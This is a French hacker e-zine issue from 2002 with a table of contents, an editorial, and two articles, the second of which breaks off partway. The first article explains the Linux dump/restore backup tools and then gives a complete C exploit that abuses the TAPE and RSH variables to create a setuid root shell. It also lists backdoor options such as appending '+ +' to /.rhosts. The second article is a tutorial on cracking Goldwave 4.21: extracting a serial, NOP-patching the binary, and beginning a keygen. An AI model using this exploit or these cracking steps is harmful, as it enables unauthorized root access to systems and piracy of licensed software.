Copy Link
Add to Bookmark
Report
Input Output Magazine Issue 03
Input Output Corporation
http://ioc.multimania.com
P r e s e n t s
__ __ __ ___ __ __ ________
| || '_ \ / _ \ | | | ||_ _| ___
| || | | || __/ | '-' | | | / _ \_/\
|__||__| |__||__| \______| |__| \/ \___/
___ __ __ ________ ___ __ __ ________
/ \ | | | ||_ _ |/ - \| | | ||_ _|
| [ ] || - | | | | __/| '-' | | |
\_____/ \______| |__| |__| \______| |__|
__ ____ __ __ _ ___ __ _ _____ __ __ __ __
| '_ '_ \ / ' | / \ / ' ||__ / | || '_ \ / \
| | | | | || [ ] || [ ] || [ ] | / /_ | || | | || _ /
|__| |__| |__| \____| \__ | \____| /____||__||__| |__| \____|
|__/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Issue#3 v1.0 1er Avril 2002
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
----------------------------------------------------------------------------------------
>>> EDITO <<< IOC Staff
----------------------------------------------------------------------------------------
Pour commençer, je tiens à préciser que je vous ferai grâce du désormais célèbre
et rébarbatif << poisson d'avril >> dont le sens m'échappe encore aujourd'hui.
C'est d'ordinaire MeiK ( anciennement Lex Icon ) qui prend la plume pour ce qui
est de l'edito, mais au vu des circonstances, c'est moi même ( Neofox ) qui m'y
colle pour une fois ; en effet, comme vous aurez l'occasion de le constater en
prennant conaissance du sommaire, MeiK a été pas mal occupé ces derniers mois et
n'a pas disposé de tout le temps qu'il aurait souhaité. Aussi sa participation à
cette nouvelle issue est elle relativement réduite. Il vous explique cela un peu
plus longuement à la fin de ce mag. Enfin, ce n'est pas là toute l'actualité du
groupe : en effet, suite à notre changement de nom il y presque trois mois, nous
nous sommes restructuré et de la formation initiale, restent MeiK et moi même ;
Peu aprés, deux nouveaux membres ont rejoint l'équipe : Emper0r et Disk-Lexic ;
c'est donc aujourd'hui leur première participation au magazine, et leur apprort
respectif en matière de prog. et de cracking a contribué à etoffer le sommaire.
Par ailleurs, je dois vous signaler que MeiK a réalisé un petit document destiné
aux newbies ; nous ne l'avons pas mis dans le mag car il risquait de dépareiller
mais vous pouvez le trouver ici : ioc.multimania.com/mag/issue3/newbies-faq.txt.
Je vais profiter de cet edito pour saluer Abël et Jamu (http://hianda.fr.st) qui
se sont lançé de leur coté dans une aventure semblable à la nôtre, bonne chance!
Une autre information et pas des moindres : Androgyne, ex-membre de la RtC, nous
a fait le plaisir de collaborer à cette issue ! Je vous laisse découvrir son
travail dont elle nous à réservé l'exclusivité, un peu plus loin dans le mag ;
Merci à toi ! En avant donc, pour cette nouvelle issue, et bonne lecture !
----------------------------------------------------------------------------------------
>>> AVERTISSEMENT <<< IOC Staff
----------------------------------------------------------------------------------------
Plutôt par tradition que par nécessité ...
Est-il besion de vous rappeler que les articles qui vont suivre ne sont ici que
dans un but ludique ? Cela va de soi, et vous y êtes habitué je pense.
Nous déclinons donc toute responsablité quant l'utilisation qui pourrait en
être fait par des individus aux moeurs plus que douteuses, qui se reconnaîtront.
Comme toujours, si vous ou l'un de vos collaborateurs étaient pris ou tué, le
Département d'Etat niera avoir eut conaissance de vos agissements.
----------------------------------------------------------------------------------------
>>> ON RECRUTE ! <<< IOC Staff
----------------------------------------------------------------------------------------
Nous sommes à présent 4 à prendre part à l'écriture de ce mag ; c'est mieux, mais
c'est peu ; et comme on dit, plus on est de fous rit ! On voudrait qu'à terme ce
mag soit l'occasion d'une collaboration entre de nombreux passionnés, tous domaines
confondus, secu/intrusion, cracking, phreaking et coding en tous genres. C'est pour
cela qu'on recrute, encore et toujours. Nous recherchons ... vous savez ce que nous
recherchons ; des gens passionnés, comme on vient de le dire, qui possèdent d'assez
bonnes conaissances en C/C++, ASM, Perl, Réseaux, Secu/Intrusion, Crypto, Phreaking
etc...Pour ceux qui seraient souhaiteraient se joindre à nous, envoyez nous un mail
en expliquant qui vous êtes et vos motivations.
___ ___ __ ____ __ __ ____ __ __ _ __ ____ __
/ __/ / \ | '_ '_ \ | '_ '_ \ / ' || || __| / \
\__ \| [ ] || | | | | || | | | | || [ ] || || | | - /
|___/ \_____/ |__| |__| |__||__| |__| |__| \____||__||_| \____|
------------------------------------------------------------
| Auteur | n° | T i t r e |
------------------------------------------------------------
| Neofox |I. | Redhat Linux : Dump |
------------------------------------------------------------
| Emper0r |II. | Cracking : Goldwave4.21 |
------------------------------------------------------------
| Androgyne |III. | Crypto : Penelope |
------------------------------------------------------------
| Disk-Lexic |IV. | Programmation Win32asm Part1. |
------------------------------------------------------------
| MeiK |V. | Petit Script Utile |
------------------------------------------------------------
| Neofox |VI. | Prog. Log Cleaners |
------------------------------------------------------------
| Neofox |VII. | Getafix V1.0 |
------------------------------------------------------------
| Emper0r |VIII.| Windows's Notepad |
------------------------------------------------------------
| Neofox |IX. | Backpass.c |
------------------------------------------------------------
| Neofox |X . | Profil : Neofox |
------------------------------------------------------------
| IOC Staff |XI. | Contacts |
------------------------------------------------------------
-=-=-=-=-=-=-=-=-=-=-=-
Contenu de l'archive
-=-=-=-=-=-=-=-=-=-=-=-
¤ ioc3.txt
¤ goldwave.zip
¤ penelope.zip
----------------------------------------------------------------------------------------
I. RedHat Linux : dump & restore par Neofox
----------------------------------------------------------------------------------------
[ Introduction ]
Nous allons parler d'un utilitaire présent sous linux auquel il est possible de
faire exécuter nos propres commandes avec les privilèges root. Cette vulnérabilitée
n'est pas trés détaillée, et les quelques textes qui y font référence n'abordent
que l'aspect "exploit", mais je pense qu'il aussi instructif d'étudier le
fonctionnement normal du programme en cause, afin de comprendre en quoi il peut
être exploitable. On va donc voir en premier lieu à quoi sert ce programme,
comment il s'utiliser, puis pourquoi est-ce qu'il est vulnérable, pour enfin
expliquer comment écrire son "exploit" - décidemment, j'aime pas ce terme ".
++++ | Partie I : Dump en détail | ++++
=> dump & restore
=> en remote
1. Dump & Restore :
___________________
[ Dump ]
Il s'apelle dump, on le trouve sous linux dans /sbin.
C'est un utilitaire de sauvegarde, dont voici un exemple de syntaxe:
[root@localhost]# mkdir /test
[root@localhost]# cd /test
[root@localhost]# touch file1 file2 file3 file4
[root@localhost]# ls
file1 file2 file3 file4
[root@localhost]# <= nous avons crée nos fichiers
exemples, reste a les sauvegarder.
[root@localhost]# dump 0f /backup /test
DUMP: Date of this level 0 dump: Thu Feb 14 21:35:06 2002
DUMP: Date of last level 0 dump: the epoch
DUMP: Dumping /dev/hda5 (/ (dir test)) to /backup
DUMP: Label: none
DUMP: [...]
DUMP: finished in 1 seconds, throughput 321 KBytes/sec
DUMP: Average transfer rate: 321 KB/s
DUMP: DUMP IS DONE
[root@localhost]#
Voila, nous avons sauvegardé les fichiers de /test dans /backup :
[root@localhost]# ls -al /backup
-rw-r--r-- 1 root root 327680 fév 14 21:35 /backup
[root@localhost]#
Comme vous pouvez le voir ici, backup est un fichier et non un répertoire,
contrairement à ce qu'on pourrait croire. En somme, tout le contenu de notre
répertoire /test est à présent stocké dans "backup". Ainis, supposons que
les fichiers de /test soient altérés ou détruits, vous seriez alors a même
de les restaurer en intégralité, cela grâce à la commande 'restore' que nous
verrons plus loin.
La commande que nous avons utilisée est : # dump 0f /backup /test
¤ '0' désigne le niveau de sauvegarde. Ce chiffre peut varier
entre 0 et 9. Plus le chiffre est petit, plus la sauvegarde
sera complète. le niveau 0 correspond à une sauvegarde complète.
Les niveaux 1 à 9 quant à eux, ne sauvegarderont que les fichiers
modifiés depuis la dernière sauvegarde d'un niveau inférieur.
¤ L'option 'f' précède le nom du fichier de destination, dans lequel
on va effectuer la sauvegarde. D'autres options sont disponnibles,
mais je vous renvoie aux pages de man pour plus d'infos.
¤ backup est le fichier dans le quel va être effectué la sauvegarde.
Je l'ai mis dans / mais vous pouvez tout aussi bien effectuer la sauvegarde
ailleurs.
¤ /test est le répertoire qui va être sauvegardé par dump.
Le fichier /etc/dumpdates enregistre les dates des sauvegardes.
De cette manière dump peut prendre conaissance de la date de la dernière sauvegarde
pour déterminer quels fichiers on été changés depuis. Il va ne va donc sauvegarder que
les denières modifications, ceci biensur dans le cas où vous utilisez un autre niveau
de sauvegarde que le niveau 0.
Vous avez sauvegardé les fichiers vitaux de votre système, comme par exemple /etc.
S'il vous arrivait par la suite, d'endomager involontairement un fichier clé,
par erreur, genre :
[root@localhost]# rm -f /etc/passwd* <= Oups !?
Bon, ça c'est l'exemple à la con, mais tout ça pour dire que si un de ces fichiers
est altéré, il serait alors possible de restaurer le contenu du répertoire à partir
de vôtre sauvegarde, et ceci grâce à un outil nommé "restore".
[ restore ]
/sbin/restore permet comme son nom l'indique et comme nous l'avons déja dit,
sert à restaurer un système de fichiers à partir de la dernière sauvegarde
qui en a été faite. Voici un exemple d'utilisation, on continue avec l'exemple
précédent :
[root@localhost]# cd /test
[root@localhost]# ls
test1 test2 test3 test4
[root@localhost]# rm -f test3 test4
[root@localhost]# ls
test1 test2
[root@localhost]# <= on a volontairement supprimé
les fichiers 3 et 4 que nous
avions préalablement sauvegardé.
[root@localhost]# cd /
[root@localhost]# pwd
/
[root@localhost]# restore rf /backup /test
[root@localhost]# cd /test
[root@localhost]# ls
test1 test2 test3 test4
[root@localhost]# <= Les fichiers que nous avions
supprimé il y a 10 sec viennent
d'être restaurés en fonction de
la sauvegarde qui en avait été
faite avec dump.
La syntaxe de restore que nous avons utilisée est :
[root@localhost]# restore rf /backup /test
¤ 'r' signifie que l'on demande un restauration compléte
du système de fichiers à partir de la sauvegarde.
¤ 'f' permet de spécifier le fichier de sauvegarde à utiliser
pour la restauration. En l'occurence, il s'agit de /backup.
¤ /backup, comme nous venons de le dire, est le fichier
de sauvegarde que nous avons réalisé tout à l'heure avec dump.
¤ /test est le système de fichier qui a été altéré, ou que l'on
veut remettre en plaçe selon une ancienne configuration.
Pour plus de détails sur les options de restore, même topo que pour dump, reportez
vous à man.
Voila, nous avons vu comment fonctionnent restore et dump, dumoins pour ce qui est
de l'utilisation locale ...
2. En Remote :
_______________
Eh oui, comme le laissait entendre ma dernière phrase, dump et restore sont également
prévus pour une utilisation à distance. En effet, il est possible de sauvegarder une
partie du disque local sur le disque ou sur le /dev/st0 (tape) d'une machine distante.
De même, on peut restaurer un système de fichier à partir d'une sauvegarde distante.
Il faut être root pour effectuer une sauvegarde/restauration en remote.
[ Fonctionnement ]
Pour reprendre mon exemple de tout à l'heure, nous allons sauvegarder le contenu
du répertoire /test dans le fichier nommé "backup" et situé à la racine d'une machine
distante que l'on apellera "machine.distante.com" ( je me suis visiblement pas trop
foulé pour le nom ... ) :
[root@localhost]# dump 0f machine.distante.com:/backup /test
DUMP: Date of this level 0 dump: Sun Feb 17 19:27:30 2002
DUMP: Date of last level 0 dump: Thu Feb 14 21:35:06 2002
DUMP: Dumping /dev/hda5 (/ (dir test)) to machine.distante.com:/backup
DUMP: Label: none
DUMP: [...]
DUMP: finished in 1 seconds, throughput 321 KBytes/sec
DUMP: Average transfer rate: 321 KB/s
DUMP: DUMP IS DONE
[root@localhost]# cd /test
[root@localhost]# ls
test1 test2 test3 test4
[root@localhost]# rm -f test3 test4
[root@localhost]# ls
test1 test2
[root@localhost]# cd ../
[root@localhost]# restore -rf machine.distante.com:/backup /test
[root@localhost]# cd /backup
[root@localhost]# ls
test1 test2 test3 test4
[root@localhost]# echo "tous nos fichiers sont de nouveau là ;@)"
tous nos fichiers sont de nouveau là ;@)
[root@localhost]#
Effectuer des backups en remote sur une machine distante suppose d'y être autorisé ...
Ce sont donc les fichiers .rhosts qui vont être utilisés par la machine distante
pour authentifier le client et déterminer déterminer s'il peut oui ou non y effectuer
une sauvegarde. Lorsque l'option 'f' n'est pas spécifiée dans le cas d'une sauvegarde
ou d'une restauration à distance, dump & restore explorent le contenu de deux varaibles
d'environement : TAPE et RSH.
[ TAPE ]
La variable TAPE permet à dump et restore de déterminer le nom du fichier de sauvegarde,
ainis que le nom de la machine sur laquelle ou depuis laquelle la sauvegarde doit être
sotckée ou restaurée. Le contenu de cette variable est du type "machine:/fichier_backup"
ou encore "user@machine:/fichier_backup". La variable TAPE doit donc contenir le caractère
séparateur ":". Si cette varaible est déclarée, dump et restore explorent alors le contenu
de la variable RSH.
[ RSH ]
Aprés avoir déterminé le nom de la machine et du fichier distant, dump et restore doivent
connaître le nom du remote shell à invoquer pour effectuer la backup ; par remote shell,
j'entends rlogin/rsh/ssh. En d'autres termes, dump va exécuter le contenu de cette variable.
++++ | Partie II : Exploiter dump & restore | ++++
=> Explications
=> Programmation
=> env.c
[ Avertissement ]
Nous venons de voir comment fonctionnent les utilitaires dump et restore dans le cadre
d'une utilisation locale et à distance. Si nous en sommes arrivés là, c'est pour parler
de la manière de les détourner pour gagner un accès root. Et c'est là que je dois préciser
quelque chose : je n'ai rien inventé ; la découverte de cette vulnérabilité n'est pas de
moi, d'ailleurs je ne prétends pas qu'il en soit autrement, qu'il n'y ait pas de mal entendu !
Autre chose : dans un de ses articles, par ailleurs excellents, Sauron fait référence à cette
faille en guise d'exemple, pour illustrer les problèmes dus aux varaibles d'environement ; je
ne fais ici que détailler le fonctionnement des deux variables en cause et proposer un petit
cours sur l'excriture de l'exploit qui s'y rapporte, sans plus. Puisque tout est clair à présent,
nous pouvons continuer.
1. Explications :
_________________
Le but est de faire exécuter à dump nos propres commandes avec les privilèges root.
Il faut pour cela que dump soit suid, de même que restore. On sait que, lors d'une
demande de sauvegarde à distance, dump fait appel aux variables TAPE et RSH pour savoir
où envoyer la sauvegarde et via quel remote shell exécuter la demande. L'idée est de
faire passer à $RSH notre propre commande, pour que celle-ci soit exécutée par dump.
Il faut pour cela remplir la variable $TAPE comme s'il s'agissait d'une sauvegarde
à distance, donc avec un truc comme "machine:/file". Si cette variable est déclarée,
dump ( ou restore ) va alors exécuter le contenu de $RSH. En faisant exécuter à $RSH
notre propre script, on peut se créer un shell suid, ou mettre /etc/passwd en lecture
écriture, ou encore faire "echo + + >> /.rhosts", mais le shell suid reste le plus
discret. Bien évidemment, on peut faire notre manip manuellement, mais c'est tellement
plus marrant la programmer ... question de point de vue !
[ Qui est vulnérable ? ]
Cette vulnérabilité de dump/restore est présente par défaut sur les RedHat 6.2.
J'ai pu constater sur ma Rh7.0 que le problème était corrigé. /sbin/dump n'était
pas suid à l'origine, je l'ai donc mis au mode 6755 pour voir s'il y avait moyen
d'en abuser ; en tant que simple utilisateur, on peut toujours faire exécuter des
commandes à dump, mais les privilèges root ne s'appliquent pas, même si ce dernier
est suid. En effet, les versions vulnérables sont "dump-0.4b15x" et "restore-0.4b15x",
et ce sont ces dernières que l'on trouve sur les 6.2 par défaut.
Si votre machine semble présenter cette vulnérabilité, deux solutions s'offrent à vous
pour remédier au problème : chmod -s /sbin/dump /sbin/restore et mise à jour des packages.
2. Programmation :
__________________
On va procéder par étapes :
¤ Etape 1 : on s'assure que dump et restore sont suid.
¤ Etape 2 : on crée un script contenant nos commandes.
¤ Etape 3 : on rend notre script exécutable.
¤ Etape 4 : on déclare la variable TAPE="test:test".
¤ Etape 5 : on déclare RSH pour lançer notre script.
¤ Etape 6 : Enfin, exécute au choix dump ou restore.
[ Etape 1 ]
Bien, commençons par le commençement ; on va controler que dump ou restore
ou les deux sont bien présents et si c'est le cas, qu'ils sont bien suid.
On va pour cela utiliser la fonction : stat(). Il faut au préalable déclarer
le fichiers "sys/stat.h", "sys/types.h" et "unistd.h". La fontction stat()
utilise une structure du type "stat" pour donner des informations relatives
à un fichier. Voici la composition siplifiée de la structure stat :
struct stat {
mode_t st_mode /* Bits de permission de l'objet */
uid_t st_uid /* uid du fichier */
gid_t st_gid /* sont gid */
time_t st_ctime /* heure de la dernière modification */
}
En réalité, la sturcutre stat est plus complexe, mais voici de quoi nous occuper.
Ce qui nous intéresse ici, c'est le champ st_mode, puisqu'il va nous permettre
de connaître le mode de dump/restore, afin de déterminer s'ils sont suid ou non.
Compilez et d'exécutez le code suivant :
---------8<----------------------------------------------------------
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
sturct stat status;
int main (int argc, char *argv[]){
if(argc!=2){
fprintf(stderr,"Usage : %s file\n", argv[0]);
exit(1);
}
if(stat(argv[1],&status)!=-1){
fprintf(stdout,"Le mode de %s est %d\n",argv[1],status.st_mode);
} else {
fprintf(stderr,"%s n'existe pas !\n", argv[1]);
exit(-1);
}
}
---------8<----------------------------------------------------------
Si voulez afficher le mode d'un binaire suid, vous remarquez que les nombres
qui aparaissent ne sont pas comme on pourrait s'y attendre les traditionnels
04755, 06755 et autres. Nous voulons que dump soit suid et généralement, lors
qu'il l'est par défaut, on le trouve au mode 04755 ou 06755 ; voici donc la
correspondance entre la valeur générée par stat(), le mode littéral et le mode
octal. Un exemple :
-rwsr-sr-x 06755 => 36333
-rwsr-xr-x 04655 => 35309
Vous voyez que les valeurs générées par stat() sont bien différentes des modes
habituels. On peut également utilser d'autres valeurs correspondant à d'autres
modes où l'exécutable est suid. Dans tous les cas, il faut pour que dump soit
exploitable, que dump apartienne au root.
Nous allons plaçer le code suivant pour contrôler que l'exécutable ait les bons
droits :
if((status.st_mode!=36333)&&
(status.st_mode!=36351)&&
(status.st_mode!=35309)&&
(status.st_mode!=35145)){
fprintf(stderr,"/sbin/dump n'est pas suid, exiting!\n",);
exit(-1);
}
[ Etape 2 et 3 ]
Nous voulons un shell suid. On va dans un premier temps créer un script
avec nos commandes. Exemple :
$ echo "cp /bin/sh $HOME/shell" > /tmp/script
$ echo "chmod 6755 $HOME/shell" >> /tmp/script
$ chmod +x $HOME/shell
Ce qui donne en C :
fd=fopen(SCRIPT, "w");
fprintf(fd,"#!/bin/sh\n");
fprintf(fd,"cp /bin/sh %s\n",SHELL);
fprintf(fd,"chown root %s\n",SHELL);
fprintf(fd,"chgrp root %s\n",SHELL);
fprintf(fd,"chmod 6755 %s\n",SHELL);
fprintf(fd,"rm -f %s\n", SCRIPT);
fclose(fd);
chmod(SCRIPT,00555);
[ Etape 4 et 5 ]
On s'occupe de $TAPE et $RSH :
setenv("TAPE","test:test",0);
setenv("RSH",SCRIPT,0);
[ Etape 6 et 7 ]
Voila, les conditions sont réunies, nos variables déclarées et notre
script fin prêt à être exécuté : reste à apeller dump :
system("dump -0 /nimportequoi");
Notre script a été exécuté avec les propriétés du root, et nous a crée
un shell suid dans notre homedir.
Si tout s'est bien passé, nous devrions avoir accès au compte root.
Comme vous pouvez le constater, c'est relativement simple, encore
fallait il connaître le fonctionnement des programmes en cause.
3. env.c :
__________
Voici en guise d'illustration "l'exploit" en C pour cette vulnérabilité.
Je tiens à nouveau a preciser que je la découverte de cette faille n'est
pas de moi ; je n'ai rien inventé et donc aucun mérite ; j'ai simplement
détaillé une vulnérabilité a laquelle Sauron faisait référence dans l'un
de ses articles, et transposé la manip en C. Ah, j'oubliais : j'ai utilisé
des sleep() ici, mais c'est juste pour faire joli lors de l'exécution ...
---------8<----------------------------------------------------------
/* Simply exemple of dump exploit
* -by the guy who wrote this
* Copyright © 2002 nobody
*/
#include <stdio.h> /* printf, fprintf */
#include <fcntl.h> /* fopen, fclose */
#include <time.h> /* sleep */
#include <stdlib.h> /* setenv, getenv, unsetenv */
#include <unistd.h> /* stat */
#include <sys/types.h> /* stat */
#include <sys/stat.h> /* stat */
#define CMD "dump -0 /null" /* used to run dump */
#define SHELL "$HOME/shell" /* suid shell */
#define DUMP "/sbin/dump" /* what ? */
#define SCRIPT "/tmp/script" /* script run by dump */
#define TAPEVALUE "test:/test" /* $TAPE */
FILE *fd;
char buf[50];
struct stat status;
int main ( int argc, char *argv[] ){
if(argc!=1){
fprintf(stderr,"Usage : %s\n", argv[0]);
exit(-1);
}
fprintf(stderr,"*** Dump | Restore simply exploit ***\n");
fprintf(stderr,"[1]-Checking dump ..."); sleep(1);
if (stat(DUMP,&status)==-1 ){
fprintf(stderr,"error!\n");
fprintf(stderr,"[*]-Can't find %s , exiting!\n",DUMP);
exit(-1);
}
else {
if((status.st_mode!=36333)&&
(status.st_mode!=36351)&&
(status.st_mode!=35309)&&
(status.st_mode!=35145)){
fprintf(stderr,"error!\n");
fprintf(stderr,"[*]-%s n'est pas suid, exiting!\n",DUMP);
exit(-1);
}
else
fprintf(stdout," done!\n");
}
fprintf(stderr,"[2]-Creating %s ...", SCRIPT);sleep(1);
fd=fopen(SCRIPT, "w");
fprintf(fd,"#!/bin/sh\n");
fprintf(fd,"cp /bin/sh %s\n",SHELL);
fprintf(fd,"chown root %s\n",SHELL);
fprintf(fd,"chgrp root %s\n",SHELL);
fprintf(fd,"chmod 6755 %s\n",SHELL);
fprintf(fd,"rm -f %s\n", SCRIPT);
fclose(fd);
chmod(SCRIPT,0555);
fprintf(stderr," done!\n");
system("ls -al /tmp/script");
fprintf(stderr,"[3]-Setting TAPE and RSH ...");sleep(1);
setenv("RSH",SCRIPT,0);
setenv("TAPE",TAPEVALUE,0);
fprintf(stderr," done!\n");
fprintf(stderr,"[4]-We're ready : running %s ...\n",DUMP);sleep(1);
system(CMD);
fprintf(stderr,"[5]- Allright, exiting!\n");
sprintf(buf,"ls -al %s",SHELL);
system(buf);
return 0;
}
---------8<----------------------------------------------------------
[ Conclusion ]
Pourquoi avoir parlé de cette vulnérabilité ? Je sais pas ; sûrement parceque
je trouve le concept assez sympathique, question de point de vue ; et en théorie,
pas besoin d'avoir recours à la prog. C, mais bon ... on aime ça non ?
--------------------------------------------------------------------------------------------------
II. Cracking : Goldwave4.21 Emper0r
--------------------------------------------------------------------------------------------------
++++++++++++++++++++++++++++++++++++
+++ Fichier Joint : goldwave.zip +++
++++++++++++++++++++++++++++++++++++
[ Introduction ]
Pour mon premier article je vais vous parler de cracking, notre cible serat Goldwave4.21
un petit outil de retouche de musique sympa, on peut le trouver sur http://www.goldwave.com.
Je me suis aperçu après avoir fait ce tuto qu'une version plus récente était dispo sur le
site. Cela ne change rien les routines d'enregistrement sont les même, seul les offset change
et quelques petits détails.
¤ Protection: Rien en particulier, le serial est enregistré dans
un fichier .ini et est testé a chaque démarage
¤ Outils : Wdasm32, Softice, un editeur hexa, procdump,
un compilateur asm (TASM), un compilateur pascal
¤ Objectifs: Trouver un serial valide, présentation du RE,
faire un Keygen, patcher le prog.
Ce tuto s'adresse aux newbies mais je considère que vous avez deja quelques base en asm,
que vous avez deja utilisé softice et Wdasm.
++++ | Partie I : Trouver un serial valide | ++++
Pour commencer on lance le programme qui nous dit que cette version est une version shareware et
que l'on doit s'enregistrer etc.... Bon on va dans option puis Register et on met des valeurs bidon
dans la boite. La on n'appuie pas sur OK de suite, on fait surgir Softice (Ctrl+d) et on pose un
breakpoint. On tape bpx hmemcpy suivit de Entrée puis F5, ceux qui nous fait revenir a goldwave on
appuis sur OK. La softice break normalement, 2 pression sur F5 pour enregistrer toutes les données
de la boite d'enregistrement. Au bout de quelques F12 on arrive ici:
:004623F7 E818F8FFFF call 00461C14 ;Analyse le serial
:004623FC 59 pop ecx
:004623FD 84C0 test al, al ;Teste si al=00
:004623FF 0F8597000000 jne 0046249C ;al=01, sérial correct
; on saute en 46249C
* Possible StringData Ref from Data Obj ->"Register"
|
:00462405 8B1518204F00 mov edx, dword ptr [004F2018]
:0046240B 8B4E43 mov ecx, dword ptr [esi+43]
:0046240E 8B01 mov eax, dword ptr [ecx]
:00462410 6A30 push 00000030
:00462412 52 push edx
* Possible StringData Ref from Data Obj ->"Invalid registration. Please "
->"be sure to enter your name and "
->"password exactly as given in the "
->"license."
:00462413 6805254F00 push 004F2505
:00462418 8B500C mov edx, dword ptr [eax+0C]
:0046241B 52 push edx
:0046241C 8B4868 mov ecx, dword ptr [eax+68]
:0046241F 51 push ecx
:00462420 E8176F0200 call 0048933C ;Va ouvrir la messagebox
Bon ben la je voit pas comment ca peut être plus clair :)
A la ligne 4623FD, le prog teste le contenu de AL, si Al = 00 le saut en 4623FF ne ce fait pas,
et on voit en 462420 le call qui va nous ouvrir la messagebox pour nous dire que notre code est
incorrect. On peut donc supposer que le call en 4623F7 va placer 01 ou 00 dans AL suivant que
notre code est valide ou pas.
On va pas rentrer dans le call en 4623F7 tout de suite ; on le passe en faisant F10 au lieu de
F8, une fois arrivés en 4623FC on regarde ce qui a changé dans les registres, en faisant D EDX
on trouve quelque chose qui ressemble vraiment a un serial. On note ce sérial on enlève les
breakpoints: BC*, et on sort de Softice: F5. On teste notre serial en remettant le même Firt&Last
Name et le password trouvé, on appui sur ok et voilà on est register. C'est de la rigolade,
le serial est meme pas effacé avant de sortir du call.
C'est pas la peine d'essayer d'inverser le saut en 4623FF pour lui faire accepter tout les
serials, car le serial ainsi que notre First&Last name sont enregistré dans un fichier .ini
(c:\windows\goldwave.ini). Le prog va lire a sont prochain lancement, les donné enregistré
dans ce fichier et il va voir que le sérial est incorrect. En plus inverser un saut sans chercher
à aller plus loin est vraiment ce qui as de plus nul a faire dans ce cas. On verra plus tard comment
patcher pour lui faire accepter tout les serials, et patcher pour qu'il soit enregistré sans même
mettre de sérial.
Bon voilà j'ai expliqué rapidement cette première parti car ca me parait très simple.
++++ | Partie II : Présentation du Reverse Engineering | ++++
On va faire un peu de RE, bien que là ce soit tellement simple et classique que l'on ne peut
pas vraiment parler de RE. On va transformer le programme pour que au lieu qu'il nous affiche
la fenêtre disant code incorrect il nous donne le serial valide :
* Possible StringData Ref from Data Obj ->"Register"
:00462405 8B1518204F00 mov edx, dword ptr [004F2018]
:0046240B 8B4E43 mov ecx, dword ptr [esi+43]
:0046240E 8B01 mov eax, dword ptr [ecx]
:00462410 6A30 push 00000030
:00462412 52 push edx
* Possible StringData Ref from Data Obj ->"Invalid registration. Please "
->"be sure to enter your name and "
->"password exactly as given in the "
->"license."
:00462413 6805254F00 push 004F2505
:00462418 8B500C mov edx, dword ptr [eax+0C]
:0046241B 52 push edx
:0046241C 8B4868 mov ecx, dword ptr [eax+68]
:0046241F 51 push ecx
:00462420 E8176F0200 call 0048933C ;Va ouvrir la messagebox
On sait que avant la ligne 462405 EDX pointe vers notre serial valide, on voit en 462412 que
le titre de la fenêtre serat ce que pointe EDX, en 462405 EDX est initialise il suffit de nopper
(nopper = remplacer certain octet par un: NOP -> No Operation) toutes cette ligne, donc EDX
pointera toujours vers le sérial. Pour que se soit plus joli on inverse le push EDX en 462414
par le push 4F2505 comme sa le serial ce trouve dans la messagebox et pas comme titre.
On va aussi avec un éditeur hexa Remplacer le "Invalid Registration. Please...." par
"Votre code d'enregistrement est : " puis une série de 00.
Voilà ce que sa donne :
:004623FD 84C0 test al, al
:004623FF 0F8597000000 jne 0046249C
:00462405 90 nop
:00462406 90 nop
:00462407 90 nop
:00462408 90 nop
:00462409 90 nop
:0046240A 90 nop
:0046240B 8B4E43 mov ecx, dword ptr [esi+43]
:0046240E 8B01 mov eax, dword ptr [ecx]
:00462410 6A00 push 00000000
* Possible StringData Ref from Data Obj ->"Votre code d'enregistrement est "
->":"
:00462412 6805254F00 push 004F2505
:00462417 52 push edx
Mouarff c'est plutôt bourrin et surtout dégueulasse ;) mais ca marche et puis c'est juste pour
faire une petite présentation au RE ;-). Maintenant lorsque que l'on entre un pass incorect le
programme affiche une fenêtre pour nous donner le serial valide calculer en fonction de notre
first & last name. C'était encore très simple mais marrant a faire, maintenant on passe aux
choses sérieuses: le Keygen.
++++ | Partie III : Le Keygen | ++++
Ce programme est idéal pour le newbies, la génération du sérial est simple, juste des calculs
qui ce suivent. Pour les keygen je préfère souvent tracer le prog avec le debugeur de Wdasm
plutot que softice. De toute facon Wdasm ou softice ca change rien une fois que l'on a poser
le breakpoint.
Pour placer un breakpoint sur le call 00461C14, a la ligne 004623F7:
¤ Avec Wdasm:
Sous Wdasm: menu debug----> Load process et on appuis sur OK.
Ensuite Goto--->Code location--->4623F7 pour ce placer sur le call.
Une fois ici on appui sur F2 pour placer un Breakpoint.
La il faut taper F9 pour lancer le programme.
¤ Avec softice
Il faut d'abord changé le flags de la section .text pour que softice puisse
breaker. Pour faire ca on prend ProcDump on clique sur PE editor, on ouvre
notre prog, on clique sur sections. La on fait clik bouton droit sur .text
pour aller dans edit section. Il faut changer Sections characteristiques:
60000020 en E0000020. On ouvre notre prog avec le symbol loader, on le lance
softice break direct, il reste plus qu'a taper Bpx 4623F7, Entrée et F5, le
programme ce lance.
Notre prog est lancé ; on va dans option---> register : Là je rentre First name: EMPER0R
Last Name: C0RTEX et Password: 123456 ; je click sur ok et notre debuggeur break.
Maintenant je vais expliquer, en simplifiant, seulement les parties du code qui
nous intéressent vraiment.
:00461B40 0FBE0A movsx ecx, byte ptr [edx] -->EDX pointe sur la dernière lettre
de EMPER0R, le R ; on place son code
ascii dans ECX. ECX=52
:00461B43 03C8 add ecx, eax -->Ajoute le nombre de lettre restant
à traiter avec la valeur ascii
ECX=52+6=58
:00461B45 03D9 add ebx, ecx -->On sauvegarde ECX dans EBX
:00461B47 4A dec edx -->Décrémente le nombre de lettre.
:00461B48 8BC8 mov ecx, eax -->Sert a tester si il reste des
:00461B4A 83C0FF add eax, FFFFFFFF -->lettres a traiter.
:00461B4D 85C9 test ecx, ecx -->Si oui alors on revient en
:00461B4F 75EF jne 00461B40 -->461B40
Explication:
Additionne la valeur ascii de chaque caractères de First Name avec le nombre de lettre de cette
chaîne restant a traité. A la fin de cette boucle quand on a traité toutes les lettres EBX=210
Même routine pour le Last Name que Pour le Firts Name:
:00461B72 0FBE0A movsx ecx, byte ptr [edx]
:00461B75 03C8 add ecx, eax
:00461B77 03F1 add esi, ecx
:00461B79 4A dec edx
:00461B7A 8BC8 mov ecx, eax
:00461B7C 83C0FF add eax, FFFFFFFF
:00461B7F 85C9 test ecx, ecx
:00461B81 75EF jne 00461B72
Additionne la valeur ascii de chaque caractère de Last Name avec le nombre de lettre de
cette chaîne restant a traité. A la fin de cette boucle quand on a traité toutes les
lettres ESI=1C5
